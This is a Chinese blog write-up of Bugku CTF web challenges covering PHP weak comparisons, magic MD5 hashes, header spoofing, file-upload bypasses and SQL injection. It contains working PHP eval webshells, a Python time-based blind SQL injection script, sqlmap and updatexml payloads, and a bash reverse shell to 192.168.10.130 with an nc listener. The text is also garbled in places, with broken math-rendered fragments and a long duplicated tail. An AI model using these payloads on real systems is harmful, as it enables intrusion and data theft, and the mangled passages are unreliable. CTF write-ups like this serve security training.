0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

以上的MD5碰撞哪一个都行,所以我们只要随便复制一个就可以。复制提交就可以。

image-20200527180825418

程序员本地网站

打开网址

image-20200528081646555

显示原始页面

image-20200528081720351

显示从本地访问,这样肯明显就需伪造一下IP,当然想要我在IP的话就需要用burp进行抓包修改运行

将抓取的数据包发送到Repeter模块,在其中加入X-Forwarded-for:127.0.0.1

image-20200528081836626

这样就成功显示flag了,直接复制提交就OK

image-20200528082002023

各种绕过

打开网址

image-20200528084108275

查看原始页面

image-20200528084159215

从以上代码分析,可以看到几条有用的信息

1、使 uname的sha1值 与 passwd的sha1的值 相等

2、但是同时 uname 和 passwd两个的值又不能相等

3、id == “margin”

解决办法

1、GTE输入的有uname和id,POST输出的是passwd

2、把 uname 和 passwd定义成数组,数组的哈希值相同

3、id等于margin

在页面中输入,复制提交即可

image-20200528084608223

Web 8

打开网址

image-20200528090245666

原始页面,代码审计

题目上显示txt????,尝试访问flag.txt看看

image-20200528090259220

返回了内容flags。对代码进行分析

a c = = = ac=== ac===f,结合其他代码说明 f 是 文 件 名 , f是文件名, fac是文件内容,只有这样他们才能全等于

image-20200528090404175

这样就在URL中构造payload

image-20200528090629300

还有一种方法。

1、ac不能为空

2、f的值从fn中获取的

3、ac的值要全等于f

构造payload?ac=123&fn=php://input,,,,[PSOT]123

image-20200528091050880

细心

打开网址

image-20200528091630704

查看原始页面,可以发现是404页面,显示错误。因为是直接显示错误,抓包什么的没有任何有用的内容image-20200528091651242

使用御剑扫描一下发现了这两个网站,第2个因为是index.php结尾,就是我们的初始访问的404页面所以无用,那就是第一个了

image-20200528091927004

访问第一个网站,这是初始界面,可以看到给了一个resusl.php的文件,尝试访问一下。

image-20200528092053317

居然进入到了后台,可以看到屏幕中显示你不是管理员你的IP已经被记录到日志了。img

卧槽,被记录了,但是在左下角有一串代码,而且题目给的提示是:想办法变成admin,尝试一下?x=admin试试,看看能否访问

image-20200528092201182

发现成功访问了,复制提交即可。

image-20200528092535147

求getshell

打开网页

image-20200528210230364

查看原始页面,可以看到,标题让上传图片而不是php,这一看就是文件上传,构造一个文件上传的payload

image-20200528210252464

将其文件名改为png,jpg等图片文件后缀,然后进行上传

image-20200528210430305

上传后返回了图片上传的路径,复制路径到URL中,进行访问,看能否出现空白图片,因为这是伪造的图片所以是空白的不会显示任何内容

image-20200528210730378

将文件放到URL后,返回了空白图片,右键复制图片地址在菜刀或者蚁剑连接。

image-20200528210816733

发现不管是蚁剑还是菜刀都连接不上,不管怎样修改都连接不上,可以猜测图片到后台被删除了

image-20200528210853780

所以我们使用另一种方法,使用burp抓包试试,这里就可以将文件后缀改为php了,抓完包后将Type改为image/jpeg就可以

经过测试php2, php3, php4, php5,phps, pht, phtm, phtml,只有php5才能绕过,这里用了黑名单过滤

请求头部的Content-Type字段,进行大小写绕过,即把multipart/form-data中任意一个字母改成大写即可绕过

image-20200528211615205

INSERT INTO注入

打开网页,可以看到题目给的源码

image-20200614094836949

源码

<?php
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

明确注入点,是走的http报头的x-forwarded-for。

我尝试了bool型注入,发现自己构造的语句在自己数据库中会报错,但是这里并没有错误报告,因此考虑基于时间的盲注

我之前时间延迟盲注都是用 if(exp1,exp2,epx3) 这种格式来完成的,但是这里的一段代码,相当于把 “,” 给过滤了

$ip_arr = explode(',', $ip);
return $ip_arr[0];

于是改变方法,用 case when exp1 then sleep(4) else 1 end 来绕过 ","的限制

exp1 中要用到substr来进行剪切,这个函数substr(str,1,1) 又是存在 “,” , 于是这里我又用 substr (str) from 1 for 1 来绕过 ","的限制

又拼接的语句为value(’ 输入的内容 '),最后的poc为:

1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #

1' and (case when (substr(select database())  from 1 for 1)='c' then sleep(4) else 1 end) #

构造payload

insert into client_ip (ip) values ('  1' and (case when (length((select database())) = 14) then sleep(4) else 1 end) --  ')

Python脚本

# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'

flag = ''
for i in range(1, 40):
    print('正在猜测:', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

最终得出结果是MD5值,解密就ok

这是一个神奇的登录框

打开网址

image-20200614095950785

查看源码

是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。

image-20200614115515525

首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)

image-20200614115612664

我保存到了D盘的1.txt里。

然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字:

image-20200614115646317

应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表:

image-20200614115709079

应该在flag1这个表里,继续爆列名:

命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表

可以发现爆出了列名:

image-20200614115723998

flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump解释:同上面 --dump是获取字段的命令(在这过程中可能会让你选择Y或者N 我直接回车的)可以看到爆出了flag:
image-20200614115746599

多次

打开网址

image-20200614140048911

查看原始页面

可以看到URL有一个 ?id=1,一看到这个第一时间想到的就是注入

image-20200614140649361

测试一下看看是不是

使用万能单引号,发现页面返回错误,说明存在SQL注入。

image-20200614141003167

使用注释符,查看页面返回,发现使用#还是返回错误,说明可能是#这个注释符被过滤了,

image-20200614141056433

使用一下--+或者%23试试,页面返回正常。

image-20200614141154522

查看字段数

发现order by 都已经等于1了还是返回错误,

image-20200614141234690

使用1’ or 1=1 --+ 看看页面返回,发现or被过滤了,

image-20200614141512044

使用双写试试,页面返回正常说明可以双写绕过

image-20200614141540958

因为不知道那些被过滤了,所以测试一下and试试

and也出错了,

image-20200614141623783

将and进行双写,发现页面返回正确

image-20200614141658004

这次知道了or 和 and被过滤了,将or双写查看字段数

当字段为2的时候返回正常,3的时候页面返回错误

image-20200614141851898

查看注入点,嗯?报错了,经过测试发现union select也被过滤了,也要进行双写绕过一下

image-20200614141937056

双写绕过,注入点是2

image-20200614142045859

查看数据库,当前数据库为web1002-1

image-20200614142116577

查看表,不要忘记information中的or双写,可以看到获得的表为flag1hint

image-20200614142231685

查看flag1表中的内容,获得flag1andaddress这两个字段

image-20200614142336341

查看flag1这个字段,或得内容usOwycTju+FTUUzXosjr,这个数据提交是错误的,所以我们试试address字段

image-20200614142432801

查看address字段内容

可以看到出现了一个下一关的地址,点击。

image-20200614142552844

进去之后发现还有一个注入。

image-20200614142639683

在使用单引号

image-20200614142758306

加注释符

image-20200614142816295

查看字段

字段为2的时候返回正常

image-20200614142841780

查看注入点,把union过滤了,双写,大写小编码等 都不能绕过,因为有报错信息,那就用报错注入

image-20200614143008009

查看数据库

payload:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

当前数据库为web1002-2

image-20200614143304362

查看表

payload:-1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='web1002-2'),0x7e),1) --+

当前表名: ‘~class , flag2~’

image-20200614143619524

查看flag2表中的字段

payload:-1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='flag2'),0x7e),1) --+

当前字段: ‘~flag2 , address~’

image-20200614143746058

查看flag2字段内容

payload:-1' and updatexml(1,concat(0x7e,(select group_concat(flag2)from flag2),0x7e),1) --+

flag{Bugku-sql_6s-2i-4t-bug}

将B改为b因为题目要求小写,如果大写提交的话会提示错误

flag{bugku-sql_6s-2i-4t-bug}

复制提交就ok

image-20200614143904307

文件包含2

打开网址

image-20200614155227949

原始页面,什么也没有,查看源码看一下

image-20200614155308120

F12查看源码,可以看到一个upload.php,访问这个文件

image-20200614155405448

可以看到是上传文件的,这里一看加上文件名就知道这里是文件上传漏洞

image-20200614155520631

构造一句话木马,这里不能使用普通的一句话<?php @eval($_POST['cmd']);?>这个payload被过滤了,所以就要构造一个不被过滤的payload

payload:<?php <script language='php'>@eval($_POST['cmd']) </script> ?>

image-20200614160404812

复制payload,然后将文件后缀改为例:1.php;.jpg

image-20200614160104254

上传,访问红线处的内容,查看页面是否返回空白,页面只有访问的时候是空白的时候才能使用蚁剑或者菜刀连接成功

image-20200614160510438

复制链接,这里我使用的是蚁剑,使用蚁剑连接

先添加数据,将URL粘贴上,密码就是一句话中POST里面的自己设置的值,测试连接后左下角出现成功就点击添加

image-20200614160546779

image-20200614160700151

双击进入,可以看到这个最长的,他的文件名也非常像flag,双击进去查看

image-20200614160724363

发现flag确实在里面,复制提交就oK

image-20200614160809061

还有一种方法将一句话构造成

<?php <script language='php'>system('ls')</script> ?>

image-20200614161500776

还是将文件名改为1.php;.jpg

image-20200614161529154

提交之后返回路径,复制访问

image-20200614161547711

可以看到this_is_th3_F14g_154f65sd4g35f4d6f43.txt显示出来了,复制进行访问

image-20200614161620030

访问this_is_th3_F14g_154f65sd4g35f4d6f43.txt文件夹

成功返回falg

image-20200614161658497

flag.php

打开网址

image-20200614200230005

查看原始页面

这里提交数据点击login是没有反应的,开始的时候题目给了提示hint,尝试给hint传参

image-20200614200300804

给hint随机传参,都会返回源码,分析源码

image-20200614200354802

源码

这里的 K E Y 是 没 有 赋 值 的 , 不 管 最 底 下 的 KEY是没有赋值的,不管最底下的 KEYKEY,因为没有赋值说明当前 K E Y 为 N U L L , 因 为 前 面 有 u n s e r i a l i z e 函 数 进 行 反 序 列 化 , 所 以 这 是 反 序 列 化 之 后 的 值 为 N U L L , 也 就 是 当 I S e c e r 全 等 于 KEY为NULL,因为前面有unserialize函数进行反序列化,所以这是反序列化之后的值为NULL,也就是当ISecer全等于 KEYNULLunserializeNULLISecerKEY的时候返回flag

<?php
error_reporting(0);
include_once("flag.php");

# cookie等于ISecer
$cookie = $_COOKIE['ISecer'];

# 判断hint不能为空
if(isset($_GET['hint'])){
    show_source(__FILE__);
}

# 判断cookie也就是ISecer是否等于$KEY,等于输出flag
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

用在线php测试一下

image-20200614200945836

复制上面的结果,然后因为之前ISecer是cookie的所以要再cookie中进行输入

使用burp抓包发送到repeater模块进行修改,然后运行,成功返回flag

image-20200614201100734

这里不嫩将cookie和上面回车空开一行,否则不出flag

例如:

以为cookie和上面回车空了一行所以断开了,没有执行cookie就结束了

image-20200614201150159

sql注入 2

打开网址

image-20200528214134741

原始页面,发现是登录界面,我们使用常用的弱口令试试能否登上,使用burp抓包一下,看看哪个是

image-20200528214112354

抓包后非常绝望,发现除了admin其他都是一样的,我们除了admin挨个尝试一下试试

image-20200528214307661

使用admin123,Wc,居然对了,登录进去了。。。。

可以看到输入框有个ls … 我们照着输入一下试试

image-20200528214350284

输出后居然返回了flag。纯属蒙的

image-20200528214512096

手注

大佬的解题思路:https://blog.csdn.net/Mikasa_/article/details/87475337

还有一个也是瞎猜出来的,就是在URL上输入flag会直接跳转页面,显示flag值

image-20200528220725088

孙XX的博客

不会

Trim的日记本

打开网址

image-20200615104358427

查看原网址

这里注册也没有用,所以用御剑扫一下看看有没有有用的地址

image-20200615104501313

可以看到扫到了一个show.php的地址,双击打开后发现flag就在里面

image-20200615104638188

复制提交就ok

image-20200615104715542

Bugku CTF login2(SKCTF)

打开网址

image-20200615145248163

查看原始页面

image-20200615145405953

使用burp抓包发送到repeater模块运行,

可以看到有一串base64加密

image-20200615145504301

解密得到以下值

$sql="SELECT username,password FROM admin WHERE username='".$username."'";

if (!empty($row) && $row['password']===md5($password)){
}

代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错,这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。

这告诉我们要登录要满足的条件:查询结果不为空,其次,输入的password的值要等于md5(password)。

例:username=adminadsadaw' union select 1,md5(1)#&password=1

image-20200615155619788

这样就能用后台数据库中并不存在的密码来绕过并登录成功:

image-20200615155557851

下面进入一个命令执行的页面:

image-20200615155646518

采用的反弹shell来做的。

反弹shell需要有公网ip,我们假设有个公网ip192.168.10.130,不用公网ip的话就线下赛局域网做题也行。

输入bash -i >& /dev/tcp/192.168.10.130/8888 0>&1并执行,然后在kali上运行命令:nc -lvp 8888,就能进行连接了,找到flag文件就拿到flag了。
原文链接:https://blog.csdn.net/zz_Caleb/java/article/details/89054600

login3(SKCTF)

具体步骤在这个网址:https://blog.csdn.net/zpy1998zpy/article/details/80667775

文件上传2(湖湘杯)
江湖魔头
login4
Web进阶

phpcmsV9

打开页面,从字面意思上就可以看出,这是要进行后台扫描。

image-20200715172809843

可能是我卡的原因,页面显示不全,这并无大碍

image-20200715172848323

使用dirsearch进行目录扫描。

python3 dirsearch -u http://123.206.87.240:8001/ -e php

其中扫描出rebots.txt,其中1.php是返回phpinfo。

image-20200715172926781

在url后打开robots.txt。可以看到flag就在其中

image-20200715173106341

代码审计

extract变量覆盖

源码

<?php
$flag='xxx';
extract($_GET); 
if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) {
echo'flag{xxx}';
} 
else { 
echo'Oh.no';
} 
}?>

白话代码:
一个名叫flag的变量等于‘xxx’
将通过GET传过来的数组转为一个名为数组名,值为数组值的变量(如果新的变量和已有变量重名,会将已有变量替换)
如果存在一个名叫shiyan的字符串
将flag变量的值赋给名为content变量
如果变量shiyan和变量content的值相同,
就输出flag的值
否则就输出Oh,no
因为extract()会把符号表中已存在的变量名的值替换掉,所以制造Payload :?shiyan=&flag=
也就是利用新传入的值为空的flag替换原有的flag的值。构造空等于空,成功输出flag的值

strcmp比较字符串

源码

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

可以看到注释,如果两者相等返回0,可以使用数组,来将其判断成0

payload:http://123.206.87.240:9009/6.php?a[]=1

image-20200716084441132

urldecode二次编码绕过

源码

<?php
if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ"){
echo "Access granted!"; 
echo "flag";
}?
>

可以看到题目就已经给提示了,说了两次url编码,复制hackerDJ,在小葵工具,或者在线工具中进行两次URL编码

image-20200716084821436

复制提交以下

payload:http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

image-20200716084903971

MD5()函数

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

可以看到,其中有这样一条判断,进行md5判断,要username和password全等于。所以这里要是用数组绕过,因为md5不能处理数组

else if (md5($_GET['username']) === md5($_GET['password']))

payload:http://123.206.87.240:9009/18.php?username[]=1&password[]=2

image-20200716085249876

sha()函数比较绕过

源码

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "
";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '
Your password can not be your name!
';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '
Invalid password.
';
}
else
echo '
Login first!
';
?>

打开页面,先构造一下看看页面返回

如果name和password相同就会返回你的名字不能和密码相同

并且将用户名和密码进行md5加密

image-20200716140506785

将用户名和密码输入不同的数字,就会返回密码无效

image-20200716140702144

审计源码

发现name和password进行sha()函数比较,并且要求全等于,所以就可以利用数组绕过

image-20200716140834651

md5加密相等绕过
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

打开页面,让其输入a

image-20200716142456628

在url中输入a,审计源码发现,不能直接输入QNKCDZO

image-20200716142551180

输入s878926199a,返回了flag

image-20200716142642496

原理:

​ PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。而以下这些字符串,md5哈希之后都是0e开头的

QNKCDZO
0e830400451993494058024219903391

s878926199a	
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020
十六进制与数字比较
<?php
error_reporting(0);
function noother_says_correct($temp)
{
	$flag = 'flag{test}';
	$one = ord('1'); //ord — 返回字符的 ASCII 码值
	$nine = ord('9'); //ord — 返回字符的 ASCII 码值
	$number = '3735929054';
// Check all the input characters!
	for ($i = 0; $i < strlen($number); $i++)
	{
		// Disallow all the digits!
		$digit = ord($temp{$i});
		if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
	return "flase";
	}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

deadc0de

打开页面查看返回,页面返回空白卡

image-20200716144052143

审计代码,数字不能是1~9,这和3735929054冲突,题目也告诉了用十六进制绕过,将3735929054进行转化,转换成十六进制,前面要加上0x,不然它不知道这个是什么。

image-20200716144253333

变量覆盖

打不开

ereg正则%00截断
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '
You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('
- have not been found
');
}
}
else
{
echo '
Invalid password
';
}
}
?>

代码审计:ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
传入的值必须是数字或大小写字符
传入的值长度小于8,但要大于9999999

长度和数值矛盾,采用1e8,1x10的8次方,绕过

在可以看到题目是%00截断绕过,可以构造一下payload查看能否返回

没有找到* - *。。。将 - 替换为 * - *试试

image-20200716145651772

这样页面就成功的返回了flag了

image-20200716145811973

strpos数组绕过
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

代码审计:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。所以输入的内容不能是正则中的内容。结合题目是数组绕过,所以跟之前的数组绕过一样,这里等号后面可以跟任何内容

这样进行数组绕过就成功的返回了flag

image-20200716151013505

数字验证正则绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']){
	$password = $_POST['password'];
//1、正则匹配,[:graph:]为任意字符,要求password长度超过12
	if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)){
		echo 'flag';
		exit;
}
while (TRUE){
//2、password中必须包含标点符号,数字,大写字母,小写字母,并且检测次数要超过6次
	$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
	if (6 > preg_match_all($reg, $password, $arr))
		break;
//c为字符种类,
	$c = 0;
	$ps = array('punct', 'digit', 'upper', 'lower'); 
	//[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]]任何大写字母 [[:lower:]] 任何小写字母
//标点符号,数字,大写字母,小写字母,包含3种以上绕过
	foreach ($ps as $pt){
		if (preg_match("/[[:$pt:]]+/", $password))
			$c += 1;
	}
	if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
//4、弱类型比较,42abc,强制转换为数字
	if ("42" == $password) echo $flag;
	else 
		echo 'Wrong password';
	exit;
}
}
?>

preg_match()

定义:

  • 执行一个正则表达式匹配

语法:preg_math(pattern,string,matches,flags)

  • pattern,必需,要搜索的模式
  • string,必需,输入的字符串
  • 返回pattern的匹配次数,0次(不匹配)或1次,匹配成功第一次就会停止搜索。

preg_match_all()

与preg_match的区别:

  • 返回匹配完整次数(可能是0),或者发生错误后返回FALSE,匹配完整个字符串。
名字ASCII
[:alnum:][a-zA-Z0-9]
[:alpha:][a-zA-Z]
[:ascii:][\x00-\x7F]
[:blank:][ \t]
[:digit:][0-9]
[:graph:][\x21-\x7E]
[:punct:][!"#$%&’()*+,-./:;<=>?@[]^_`{|}~]
[:lower:][a-z]
[:upper:][A-Z]
[:word:][A-Za-z0-9_]
[:xdigit:][A-Fa-f0-9]

这一关有bug就算只输入?password=都能返回flag

只要能够满足条件都行,是Post传参

payload:42ccccccc.ffffffF

image-20200716153636587

简单的waf

打不开

password
';
}
}
?>


代码审计:ereg()函数搜索一个字符串中的指定字符串,成功true,错误false
 传入的值必须是数字或大小写字符
 传入的值长度小于8,但要大于9999999

长度和数值矛盾,采用1e8,1x10的8次方,绕过

在可以看到题目是%00截断绕过,可以构造一下payload查看能否返回

没有找到* - *。。。将 - 替换为 * - *试试

[外链图片转存中...(img-ah7jCWEz-1596115258243)]

这样页面就成功的返回了flag了

[外链图片转存中...(img-HzwK0qEI-1596115258244)]

#### strpos数组绕过

```shell
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

代码审计:ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。所以输入的内容不能是正则中的内容。结合题目是数组绕过,所以跟之前的数组绕过一样,这里等号后面可以跟任何内容

这样进行数组绕过就成功的返回了flag

[外链图片转存中…(img-ZzGZwwaI-1596115258244)]

数字验证正则绕过
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD']){
	$password = $_POST['password'];
//1、正则匹配,[:graph:]为任意字符,要求password长度超过12
	if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)){
		echo 'flag';
		exit;
}
while (TRUE){
//2、password中必须包含标点符号,数字,大写字母,小写字母,并且检测次数要超过6次
	$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
	if (6 > preg_match_all($reg, $password, $arr))
		break;
//c为字符种类,
	$c = 0;
	$ps = array('punct', 'digit', 'upper', 'lower'); 
	//[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]]任何大写字母 [[:lower:]] 任何小写字母
//标点符号,数字,大写字母,小写字母,包含3种以上绕过
	foreach ($ps as $pt){
		if (preg_match("/[[:$pt:]]+/", $password))
			$c += 1;
	}
	if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
//4、弱类型比较,42abc,强制转换为数字
	if ("42" == $password) echo $flag;
	else 
		echo 'Wrong password';
	exit;
}
}
?>

preg_match()

定义:

  • 执行一个正则表达式匹配

语法:preg_math(pattern,string,matches,flags)

  • pattern,必需,要搜索的模式
  • string,必需,输入的字符串
  • 返回pattern的匹配次数,0次(不匹配)或1次,匹配成功第一次就会停止搜索。

preg_match_all()

与preg_match的区别:

  • 返回匹配完整次数(可能是0),或者发生错误后返回FALSE,匹配完整个字符串。
名字ASCII
[:alnum:][a-zA-Z0-9]
[:alpha:][a-zA-Z]
[:ascii:][\x00-\x7F]
[:blank:][ \t]
[:digit:][0-9]
[:graph:][\x21-\x7E]
[:punct:][!"#$%&’()*+,-./:;<=>?@[]^_`{|}~]
[:lower:][a-z]
[:upper:][A-Z]
[:word:][A-Za-z0-9_]
[:xdigit:][A-Fa-f0-9]

这一关有bug就算只输入?password=都能返回flag

只要能够满足条件都行,是Post传参

payload:42ccccccc.ffffffF

[外链图片转存中…(img-pGhHbNBa-1596115258245)]

简单的waf

打不开

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值